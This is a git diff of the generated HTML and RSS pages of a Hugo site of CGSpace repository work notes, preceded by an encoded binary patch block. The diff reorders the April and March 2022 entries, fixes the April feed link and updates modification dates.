zhdF;Y-)q%NcuLs)uY27=UHoRe=7Q$iiMQqZFb;Q8hLGW^gl&c@4>FNv-Tx zP6guWqv>L;V!w>pIaU{S2TOizE>I7x()hwKe!8AFBvkT-&~CqXux=mnV|R?}iXZcaJ8 zQi)xY;-N-2rua2M#yg6zto>rf7ugW0I3wodqb()!yXKbL#;f&3H^~}-<|oK5{^N?8 z!>hspo96aZ+_sxS|Am`5TH43Rw|&cMI1za7Ksan9IB?wOA*4^#ebyKl8D-LQ9>J}j zSJ!fUR`+=ozq9n}XCyZc+?phg!6m4V7$=tQThJYS=N8U|Y}kCuQ}!oT zQRqdQ#?`@9N;=&(S*1%%uIB}a`=#Kct)p_7h`i&)V3q1;{TGqgkVM7aW1nP_vULlm zhwS96``-#c?Q22TRV$YYQWEB2<%YT_-FdG}mDr#3#sgV1l>&T+zIi|o8w5)@hw7~q z$8YTxxeDEamm}kqN`K*W9&aAUj?Ev`Ht-D-Xk5MhgBCfY?48)wdD<<%x^-NjESMUc zGRGIu9^>?nn4IH-+va@1W?9cJ8hH7X21}gUlkRG zO5o{;5T|DPEp6~~q3dWYgkv3~3Zj$gz?=ue87IZ1_CdE}Br0(vOU3NBGu9kXwk&w> zR!G$I>_8Rx=Ct(dMHrBetr=3!4fY_KgHp%%T|+`l$lZ((ewCgaddY39hG&tQ%njz3 z*qEmkuNpXp8~)|-Wt2aaA##C6QM%&1&L?;GK81h`cBHIK`m7Hk(HQX(dR5V{{FI64 z;*S4~wIr=Q54V!4f$HtfqfdGtka}OtS3)u<_L4CrMwyNZhShh%eh4-|011+bxXJbWM*spmo?%FqO_H%4-zFR_F@jr{M zY-O1VCC*`JKr>Z$3EO~M?@GGF1vSS^=7LQz3mEa<2y$0vjW)%9T-M%~Al zs$Yowu5n>FZq|nzv`9@uz~NiuY$R<*ZxLU-e2y^#><}ZPUnBtk!VL$Y9Y1(Av?w}5 z^p8M@>EibKI0pU2?ciKsHRIjQM!V645~mneWsog;X)!4u|7N3iYZ+@DA;8z5ZvLL< zQ=7KkR;!C&LgyUmxa%cX1UB9+JD;*lJcxg*f&cSiKe{1XEWtN3Awa+~`l2=MmHcgJ zmadf86=w0wi=w)H(MQ{6{Tgw+8z4PE;YZqZ=PC2DAVh!RO2c|fq2Ui)Kyu^uK!ZGd z_HBcDYinbp4bDmYP4H|0H?AVPG#}0-h}1bPJw)T~RGhDF!_c2q3!9w(b$Zxlr_Azh zPUv9w+qa+gr!Eg5^WLVy#K);B*8P*Sw>@8~hP!fP#5=!iS}|P&R6MEUFH*)VgZjZu zD%P*~WZiQ(sgh8xrN3_o!B^gw_a|7!{o&cpv19a!JR+Q1a4-)GOJvu5$4p|?dB+f;Pc2azE> zshVe-{=Pfw&VYa@0+p@Vx|tVz5oJm1j~wTL9QcnV_N26Url%nVaW{zM7p)uqao8&?k4dHDaLDkYK≥6R&P8 z8OQ(1T(Rld0@sCm^#x#~x>a5hyA_-N9VU;@cJ}^J5cKc}-zh(!UsBbGTM3&t_77JG zJq^@(FSk>9E#%e6goJDF=6*}STZKPEyLA;1qbFd;F=5CJZ_|vNl0!C71wz|49g!s= zY%J{7j0SNb8x>Pgk+x~0*4A$u!3eGWb|fEPK6kJ$0kQhmHC zW^n6AMs9_?cF4^3I#8)E?m~ zj47;#qM?*&j;M%C@SHZsNVfQ12}4Y?Z06BI&c+eJ-wu0?wHFWMTHoi|o0Ph2pGOhk zxcO)*qcEe`bn>nbt?wDRf3UT=8Oc99ZXXw=ULx}cq{XIh)fG@)J;m_9#u=|_2rWdA zfAxPt*rJ$OQ=D9gD2iWy40Z&_ti~#(0Xzy}ER+)5WU4o~v^vly zgGaO~&?gm11K6gh@plI>L12)Bwj?*qFipQwh=%$-Nt9rHk?(!=eF0=fT*jbcws4x4 z65NEU7jC5hY9p=*n-dzRKtH1w#q341P;mpUp|P)m%OD%)%L>gC*mB0FozlM<8T9vo z|F~zDA|B}}-B5ZO5tqfr4P5A} zO9oE6k=*`=QHvD*6Ev07NTqZ6-`LN~wYzl9Li;C!dIXSM( z>}Q<8WDz|u;7n-X*&7=QP-Fnj!TN>@^d(zf8|lHw7UR*5!v$1L00dCE?2wYYY$TJq zqKboLUlGJ=Kk_hl9BQrt3HPfn*7sGkfVaJYs6{l3p6XGIVb5=GWSTY}L@WtDRPP=2 zc9pCk^OEmzZL=X*{E4I$Rc?Mo?Zpu$PdpM3OK>}~n20X|$^_M!tkUZ0hceG38Gq{4 zeX}%Oji9do=o4VpVM-U&DJLYwqH0!H^@ESFr!ydh{pX)|HjQZ{cm=Bj3d0YWYZb}k zj%nf&Y~pOhhbG#+kjLi@-ZorwvWpXY-X;o5YDljo464CvsiFOBx9#S%mFy<0iJo*5 zTR>H)94aBA(&uxK6pe$37ttg@!-Nlp6<^{;uj^>^@!k)JVax?$SU(YLD(fl17cTqA zeHljOyz_!E`pP7yI$7co$mj|G=N7rw(fQHm=Oi%QsfSs9nGX?W!}7a*^OElZF^APz z%NIb^>%;XoKyI$>ei@BAUec$IsXR*zogf=E%}HDY;WBmdKh8$8@d?b1gKL{LfgP7D zTLV5m3gKB-LqyM4;wdme4ofM*oCNQT>Dv@G42@rS*~j1o8LUY+gwI2jjo9Ji^@J{_ zycq1AO$bKH*4Lapke&v~@4wC32?~M*@HNczzViF9=10$%^4XY<-(wiF4jcT?XjGBG z@^3$z^nTG-HwjDo9`<NwGugo{Dq=kyIUug`$*jE%(Q12LLY>fhWn4+f3=vK}IsD{@T% zmEA|6dEjN5Rqq5@Y0XRk24;DC&Gei;`E=2sseDYzSNGYsQuXuM)YAP-%ah!1h#>1n z0rQkPmQpZLs2oYu&$D5Yswye6NyW~{b%g6ZnkTI_I0&;$3VVJ8Hz$f|6r;H$PL2Wo ziVu7;psN^gHoTUFoZBZ~Ie!G%|H!F+t`zZCLsuZG%ua3%StJKEX{w{|ou~`g&v@Mh zD&d@XfT$XzZ+p)YeSaJ3N>NLX$MyvT04r!yKiz!?0*uvDDo8*+!~GeTDFg^6d}kxe z3`j5mVih+FYMvnKl1zXoD7Q(e>K?WEPEXTvj+&DL?zuD$d~y&ND$Y(%T;hKPjMiH# z;0c3+g1(;&|H4Z|Sv?9!RMEaMk}BM|(iC{DpMcx}Nl%z&+%xU0rIT89_k0D`z4BE_ zpE&>nl_C`7g{-tFy@^Kj^dKc3#(TND8GT^?+hLkWD++`XAOw0;Xte9Zo)2g;;6LW9 z5Ob3Ql7QvDez5Y9rj1@tB~$7Tx*r6@qOS!|inq^o3$Ft^liY}9p^fHojfxiYx&I99 znwcnocD(fh`e}TpC97-;PvgH6%lQaBHjr7KNfkaoQ_9loErY_^Z3i-%50G<*0kATPTI3liSA01_M%Qd$Y=~6Y1`WR9PE{e1V22-K=%giTz6~ zep^v4(4?!aAuhl)lOluvw=}W2<7lvmQ%A}t*Z!TkC-hM69e@0LzWAMtA4Mxr%9BKY zO~=IGuSxTLE(p2Z@LxC05Nbv71hI^Yu$p`mtsRFF7F?i%U=bKJ~aIBj) zKN2rUZw>9>0FvOM1x8ahT-8w`SS0|0oCLp|^74?GM?@#Z>12E>*kuD591ipkz1n`z zeapc|4QHWvQZR>U5XDg_ly)F+gf?osEpNNUv0F1G>)1d&##}G<14he&=+NT zwch^SjG0gsLkpz4dtIHOz*%S!lS!LwOzp3u>tn^V*hUveCCMQOr>;Uaeew|X?B-7! z>*VCM#P2bLG1Bhn9cPk9yGyGhB73gs4$;}7xhNolxJ3HYo$oZhB^uGF#!`>A?(@u8 zJ9SsqXR^4K^i4j>uVP&Lg#5gg{@!F|t||9M%b$=bUwZLQPYgD{`ZDk0MPbj*D{DK~ zs$)>a%Z%>_WXILdy$s5u&W~0wNjM{HYN;(F~c6&3s2-u2$fiAjjq+|IdvO(nN>1;364Cz*-s^*#;I zN4h1D!{04vNCoaMN@~#3``Pf=DLS<$Ur^Ie88}3(*c9G=!i+t*8qOh?rEV$1`S`x| zriDedUC$Y?FTcXN^*+e%qPK``4lfC2vv?t_*)pt9w9Rg6|3|5(Pwvay zK%@UrR4m=-azTrvBh;@W-fdn^N#E@(kxCqPO!bVA2A#fY9FgiXO}MyP&-VSS0}WjU zDiL$sFnpChk-B0CGLWAzSwQw;kNW{44-)}IfPmJ2&66}v28g-1+>bxD>1H1V5t0o>vWIn`OR(*(pOi;Wukh zxba7|Z~)(2TBeF_6`-4>7gP3Ti%(F;!B98bs*XUZUYHBgOBE2_wH@p5I#J?Q+bpSZ zuNi$11^h>#fK5+L@rzSdt6?}`6mxA~t#nd*RbrK_E$O}#eDP>Eh`1#VNnL&T$v!rP z?H6E%MRNyBKg_>tzs#BL^+1htU?N^HBVnvbHyqHZ74UBh7llQAe?0#w&DwMH_B8Ze z0+{sAu%^8D^oE6~OrbuU!ds#@E?e5PtX7XMD8#x)CXM|=qnA0 z369U>LKSK#HdhvN$*kgaej%o7EFglPOS4K1S>gn18D$h1Ztp`tBwbVWdN6{LwvjE}uoqBi2E#WK zAJ5YKBwot?zSxO!3napdSaH>W;-h0PhBM4_J_v=0 zym~gU5a^QSAk6sL#Yhw22;~{7FLV&e4XmE8nQhkbED%g)saEJ z4d%bn_KcRwnb9&n7TS3!`@9{#j5WQ&Udaw20qg4&)KTP2U1RCC|4<7(1HsFZovtT>;&5bKH4z}C`)GXC;;khit{Qk`dM#dStDnGO~ME}n&=o!ArO_Qhx0iKRKR{N2j5VLazl)*L$6yb%iFT>v~j zG9954^fr`CUzwMv*hT;yPy zBl+}i_;Jgqix-nk`)^PTN{f_oPK!+H#Pr8|RU|SD!Q{vdAZX{>-pH9>C~F>v*fEYn zU`ax;94yi(?=oG`>8Z=)1L+e-0Ohj ziDqd%-#?-R(}!{kZJm2ZAuOZ5r+gM!>TTEn%^NqDWpn3b(<5>vpRO^61!Vx>JEm!r z3ZjyhgW=Osue*voUEf5Fc8A?1dmeQshK?X;LH`+9^B!7|u)I&L!&?EyyB%*ttY;-` zzxKh0&zW_y@Mxf_{AKB|6q6J>%qj6hi5X%K><{g~`xcn~`=6e~cXJhvE_aZ=Xu@ z$Up{InPE~x9uZoshJsJ->f?I7S*bFJM;=c7p9o-Q~^Xx%)ry OIEo)s - + @@ -95,9 +95,9 @@
                                                                                                                                                                -
                                                                                                                                                              1. March, 2022
                                                                                                                                                              2. +
                                                                                                                                                              3. April, 2022
                                                                                                                                                              4. -
                                                                                                                                                              5. April, 2022
                                                                                                                                                              6. +
                                                                                                                                                              7. March, 2022
                                                                                                                                                              8. February, 2022
                                                                                                                                                              9. diff --git a/docs/categories/index.html b/docs/categories/index.html index 090338fa5..f04283e90 100644 --- a/docs/categories/index.html +++ b/docs/categories/index.html @@ -10,14 +10,14 @@ - + - + @@ -84,7 +84,7 @@

                                                                                                                                                                Notes

                                                                                                                                                                - +
                                                                                                                                                                Read more → @@ -108,9 +108,9 @@
                                                                                                                                                                  -
                                                                                                                                                                1. March, 2022
                                                                                                                                                                2. +
                                                                                                                                                                3. April, 2022
                                                                                                                                                                4. -
                                                                                                                                                                5. April, 2022
                                                                                                                                                                6. +
                                                                                                                                                                7. March, 2022
                                                                                                                                                                8. February, 2022
                                                                                                                                                                9. diff --git a/docs/categories/index.xml b/docs/categories/index.xml index 367911ffb..a62cb3e0b 100644 --- a/docs/categories/index.xml +++ b/docs/categories/index.xml @@ -6,11 +6,11 @@ Recent content in Categories on CGSpace Notes Hugo -- gohugo.io en-us - Tue, 01 Mar 2022 16:46:54 +0300 + Fri, 01 Apr 2022 10:53:39 +0300 Notes https://alanorth.github.io/cgspace-notes/categories/notes/ - Tue, 01 Mar 2022 16:46:54 +0300 + Fri, 01 Apr 2022 10:53:39 +0300 https://alanorth.github.io/cgspace-notes/categories/notes/ diff --git a/docs/categories/notes/index.html b/docs/categories/notes/index.html index 70b6de763..317f29fc9 100644 --- a/docs/categories/notes/index.html +++ b/docs/categories/notes/index.html @@ -10,14 +10,14 @@ - + - + @@ -81,6 +81,24 @@ +
                                                                                                                                                                  +
                                                                                                                                                                  +

                                                                                                                                                                  April, 2022

                                                                                                                                                                  + +
                                                                                                                                                                  + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + Read more → +
                                                                                                                                                                  + + + + + +

                                                                                                                                                                  March, 2022

                                                                                                                                                                  @@ -107,24 +125,6 @@ -
                                                                                                                                                                  -
                                                                                                                                                                  -

                                                                                                                                                                  April, 2022

                                                                                                                                                                  - -
                                                                                                                                                                  - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - Read more → -
                                                                                                                                                                  - - - - - -

                                                                                                                                                                  February, 2022

                                                                                                                                                                  @@ -365,9 +365,9 @@
                                                                                                                                                                    -
                                                                                                                                                                  1. March, 2022
                                                                                                                                                                  2. +
                                                                                                                                                                  3. April, 2022
                                                                                                                                                                  4. -
                                                                                                                                                                  5. April, 2022
                                                                                                                                                                  6. +
                                                                                                                                                                  7. March, 2022
                                                                                                                                                                  8. February, 2022
                                                                                                                                                                  9. diff --git a/docs/categories/notes/index.xml b/docs/categories/notes/index.xml index 4d960654b..3fc75bf7d 100644 --- a/docs/categories/notes/index.xml +++ b/docs/categories/notes/index.xml @@ -6,7 +6,16 @@ Recent content in Notes on CGSpace Notes Hugo -- gohugo.io en-us - Tue, 01 Mar 2022 16:46:54 +0300 + Fri, 01 Apr 2022 10:53:39 +0300 + + April, 2022 + https://alanorth.github.io/cgspace-notes/2022-04/ + Fri, 01 Apr 2022 10:53:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + + March, 2022 https://alanorth.github.io/cgspace-notes/2022-03/ @@ -24,15 +33,6 @@ </span></span></code></pre></div> - - April, 2022 - https://alanorth.github.io/cgspace-notes/2022-03/ - Tue, 01 Mar 2022 10:53:39 +0300 - - https://alanorth.github.io/cgspace-notes/2022-03/ - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - - February, 2022 https://alanorth.github.io/cgspace-notes/2022-02/ diff --git a/docs/categories/notes/page/2/index.html b/docs/categories/notes/page/2/index.html index 60f5b3b20..a11251ad6 100644 --- a/docs/categories/notes/page/2/index.html +++ b/docs/categories/notes/page/2/index.html @@ -10,14 +10,14 @@ - + - + @@ -381,9 +381,9 @@
                                                                                                                                                                      -
                                                                                                                                                                    1. March, 2022
                                                                                                                                                                    2. +
                                                                                                                                                                    3. April, 2022
                                                                                                                                                                    4. -
                                                                                                                                                                    5. April, 2022
                                                                                                                                                                    6. +
                                                                                                                                                                    7. March, 2022
                                                                                                                                                                    8. February, 2022
                                                                                                                                                                    9. diff --git a/docs/categories/notes/page/3/index.html b/docs/categories/notes/page/3/index.html index 1612f051a..3c05f6f29 100644 --- a/docs/categories/notes/page/3/index.html +++ b/docs/categories/notes/page/3/index.html @@ -10,14 +10,14 @@ - + - + @@ -404,9 +404,9 @@
                                                                                                                                                                        -
                                                                                                                                                                      1. March, 2022
                                                                                                                                                                      2. +
                                                                                                                                                                      3. April, 2022
                                                                                                                                                                      4. -
                                                                                                                                                                      5. April, 2022
                                                                                                                                                                      6. +
                                                                                                                                                                      7. March, 2022
                                                                                                                                                                      8. February, 2022
                                                                                                                                                                      9. diff --git a/docs/categories/notes/page/4/index.html b/docs/categories/notes/page/4/index.html index 7ad9f5b1e..cd98ee051 100644 --- a/docs/categories/notes/page/4/index.html +++ b/docs/categories/notes/page/4/index.html @@ -10,14 +10,14 @@ - + - + @@ -429,9 +429,9 @@ $ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace
                                                                                                                                                                          -
                                                                                                                                                                        1. March, 2022
                                                                                                                                                                        2. +
                                                                                                                                                                        3. April, 2022
                                                                                                                                                                        4. -
                                                                                                                                                                        5. April, 2022
                                                                                                                                                                        6. +
                                                                                                                                                                        7. March, 2022
                                                                                                                                                                        8. February, 2022
                                                                                                                                                                        9. diff --git a/docs/categories/notes/page/5/index.html b/docs/categories/notes/page/5/index.html index de12161c7..fa909e40e 100644 --- a/docs/categories/notes/page/5/index.html +++ b/docs/categories/notes/page/5/index.html @@ -10,14 +10,14 @@ - + - + @@ -408,9 +408,9 @@ sys 2m7.289s
                                                                                                                                                                            -
                                                                                                                                                                          1. March, 2022
                                                                                                                                                                          2. +
                                                                                                                                                                          3. April, 2022
                                                                                                                                                                          4. -
                                                                                                                                                                          5. April, 2022
                                                                                                                                                                          6. +
                                                                                                                                                                          7. March, 2022
                                                                                                                                                                          8. February, 2022
                                                                                                                                                                          9. diff --git a/docs/categories/notes/page/6/index.html b/docs/categories/notes/page/6/index.html index 0eb3e35a2..4c991788d 100644 --- a/docs/categories/notes/page/6/index.html +++ b/docs/categories/notes/page/6/index.html @@ -10,14 +10,14 @@ - + - + @@ -358,9 +358,9 @@ COPY 54701
                                                                                                                                                                              -
                                                                                                                                                                            1. March, 2022
                                                                                                                                                                            2. +
                                                                                                                                                                            3. April, 2022
                                                                                                                                                                            4. -
                                                                                                                                                                            5. April, 2022
                                                                                                                                                                            6. +
                                                                                                                                                                            7. March, 2022
                                                                                                                                                                            8. February, 2022
                                                                                                                                                                            9. diff --git a/docs/cgiar-library-migration/index.html b/docs/cgiar-library-migration/index.html index ed69b1eac..470540e82 100644 --- a/docs/cgiar-library-migration/index.html +++ b/docs/cgiar-library-migration/index.html @@ -18,7 +18,7 @@ - + @@ -282,9 +282,9 @@ dspace=# select setval('handle_seq',86873);
                                                                                                                                                                                -
                                                                                                                                                                              1. March, 2022
                                                                                                                                                                              2. +
                                                                                                                                                                              3. April, 2022
                                                                                                                                                                              4. -
                                                                                                                                                                              5. April, 2022
                                                                                                                                                                              6. +
                                                                                                                                                                              7. March, 2022
                                                                                                                                                                              8. February, 2022
                                                                                                                                                                              9. diff --git a/docs/cgspace-cgcorev2-migration/index.html b/docs/cgspace-cgcorev2-migration/index.html index 609a9532d..c8c005260 100644 --- a/docs/cgspace-cgcorev2-migration/index.html +++ b/docs/cgspace-cgcorev2-migration/index.html @@ -18,7 +18,7 @@ - + @@ -467,9 +467,9 @@
                                                                                                                                                                                  -
                                                                                                                                                                                1. March, 2022
                                                                                                                                                                                2. +
                                                                                                                                                                                3. April, 2022
                                                                                                                                                                                4. -
                                                                                                                                                                                5. April, 2022
                                                                                                                                                                                6. +
                                                                                                                                                                                7. March, 2022
                                                                                                                                                                                8. February, 2022
                                                                                                                                                                                9. diff --git a/docs/cgspace-dspace6-upgrade/index.html b/docs/cgspace-dspace6-upgrade/index.html index 217c9147f..67f0d693b 100644 --- a/docs/cgspace-dspace6-upgrade/index.html +++ b/docs/cgspace-dspace6-upgrade/index.html @@ -18,7 +18,7 @@ - + @@ -471,9 +471,9 @@
                                                                                                                                                                                    -
                                                                                                                                                                                  1. March, 2022
                                                                                                                                                                                  2. +
                                                                                                                                                                                  3. April, 2022
                                                                                                                                                                                  4. -
                                                                                                                                                                                  5. April, 2022
                                                                                                                                                                                  6. +
                                                                                                                                                                                  7. March, 2022
                                                                                                                                                                                  8. February, 2022
                                                                                                                                                                                  9. diff --git a/docs/index.html b/docs/index.html index b08412a49..785076329 100644 --- a/docs/index.html +++ b/docs/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -96,6 +96,24 @@ +
                                                                                                                                                                                    +
                                                                                                                                                                                    +

                                                                                                                                                                                    April, 2022

                                                                                                                                                                                    + +
                                                                                                                                                                                    + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + Read more → +
                                                                                                                                                                                    + + + + + +

                                                                                                                                                                                    March, 2022

                                                                                                                                                                                    @@ -122,24 +140,6 @@ -
                                                                                                                                                                                    -
                                                                                                                                                                                    -

                                                                                                                                                                                    April, 2022

                                                                                                                                                                                    - -
                                                                                                                                                                                    - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - Read more → -
                                                                                                                                                                                    - - - - - -

                                                                                                                                                                                    February, 2022

                                                                                                                                                                                    @@ -380,9 +380,9 @@
                                                                                                                                                                                      -
                                                                                                                                                                                    1. March, 2022
                                                                                                                                                                                    2. +
                                                                                                                                                                                    3. April, 2022
                                                                                                                                                                                    4. -
                                                                                                                                                                                    5. April, 2022
                                                                                                                                                                                    6. +
                                                                                                                                                                                    7. March, 2022
                                                                                                                                                                                    8. February, 2022
                                                                                                                                                                                    9. diff --git a/docs/index.xml b/docs/index.xml index 2b03396b1..6de35547f 100644 --- a/docs/index.xml +++ b/docs/index.xml @@ -6,7 +6,16 @@ Recent content on CGSpace Notes Hugo -- gohugo.io en-us - Tue, 01 Mar 2022 16:46:54 +0300 + Fri, 01 Apr 2022 10:53:39 +0300 + + April, 2022 + https://alanorth.github.io/cgspace-notes/2022-04/ + Fri, 01 Apr 2022 10:53:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + + March, 2022 https://alanorth.github.io/cgspace-notes/2022-03/ @@ -24,15 +33,6 @@ </span></span></code></pre></div> - - April, 2022 - https://alanorth.github.io/cgspace-notes/2022-03/ - Tue, 01 Mar 2022 10:53:39 +0300 - - https://alanorth.github.io/cgspace-notes/2022-03/ - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - - February, 2022 https://alanorth.github.io/cgspace-notes/2022-02/ diff --git a/docs/page/2/index.html b/docs/page/2/index.html index 78eef02da..67bee93e3 100644 --- a/docs/page/2/index.html +++ b/docs/page/2/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -396,9 +396,9 @@
                                                                                                                                                                                        -
                                                                                                                                                                                      1. March, 2022
                                                                                                                                                                                      2. +
                                                                                                                                                                                      3. April, 2022
                                                                                                                                                                                      4. -
                                                                                                                                                                                      5. April, 2022
                                                                                                                                                                                      6. +
                                                                                                                                                                                      7. March, 2022
                                                                                                                                                                                      8. February, 2022
                                                                                                                                                                                      9. diff --git a/docs/page/3/index.html b/docs/page/3/index.html index 992c7afe9..0db5ab138 100644 --- a/docs/page/3/index.html +++ b/docs/page/3/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -419,9 +419,9 @@
                                                                                                                                                                                          -
                                                                                                                                                                                        1. March, 2022
                                                                                                                                                                                        2. +
                                                                                                                                                                                        3. April, 2022
                                                                                                                                                                                        4. -
                                                                                                                                                                                        5. April, 2022
                                                                                                                                                                                        6. +
                                                                                                                                                                                        7. March, 2022
                                                                                                                                                                                        8. February, 2022
                                                                                                                                                                                        9. diff --git a/docs/page/4/index.html b/docs/page/4/index.html index c74853c2d..3e8090fec 100644 --- a/docs/page/4/index.html +++ b/docs/page/4/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -444,9 +444,9 @@ $ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace
                                                                                                                                                                                            -
                                                                                                                                                                                          1. March, 2022
                                                                                                                                                                                          2. +
                                                                                                                                                                                          3. April, 2022
                                                                                                                                                                                          4. -
                                                                                                                                                                                          5. April, 2022
                                                                                                                                                                                          6. +
                                                                                                                                                                                          7. March, 2022
                                                                                                                                                                                          8. February, 2022
                                                                                                                                                                                          9. diff --git a/docs/page/5/index.html b/docs/page/5/index.html index cd96e221f..dad4c62f6 100644 --- a/docs/page/5/index.html +++ b/docs/page/5/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -423,9 +423,9 @@ sys 2m7.289s
                                                                                                                                                                                              -
                                                                                                                                                                                            1. March, 2022
                                                                                                                                                                                            2. +
                                                                                                                                                                                            3. April, 2022
                                                                                                                                                                                            4. -
                                                                                                                                                                                            5. April, 2022
                                                                                                                                                                                            6. +
                                                                                                                                                                                            7. March, 2022
                                                                                                                                                                                            8. February, 2022
                                                                                                                                                                                            9. diff --git a/docs/page/6/index.html b/docs/page/6/index.html index e644c9da7..c7b794b22 100644 --- a/docs/page/6/index.html +++ b/docs/page/6/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -437,9 +437,9 @@ COPY 54701
                                                                                                                                                                                                -
                                                                                                                                                                                              1. March, 2022
                                                                                                                                                                                              2. +
                                                                                                                                                                                              3. April, 2022
                                                                                                                                                                                              4. -
                                                                                                                                                                                              5. April, 2022
                                                                                                                                                                                              6. +
                                                                                                                                                                                              7. March, 2022
                                                                                                                                                                                              8. February, 2022
                                                                                                                                                                                              9. diff --git a/docs/page/7/index.html b/docs/page/7/index.html index 7840c814a..72fbe8d92 100644 --- a/docs/page/7/index.html +++ b/docs/page/7/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -388,9 +388,9 @@ DELETE 1
                                                                                                                                                                                                  -
                                                                                                                                                                                                1. March, 2022
                                                                                                                                                                                                2. +
                                                                                                                                                                                                3. April, 2022
                                                                                                                                                                                                4. -
                                                                                                                                                                                                5. April, 2022
                                                                                                                                                                                                6. +
                                                                                                                                                                                                7. March, 2022
                                                                                                                                                                                                8. February, 2022
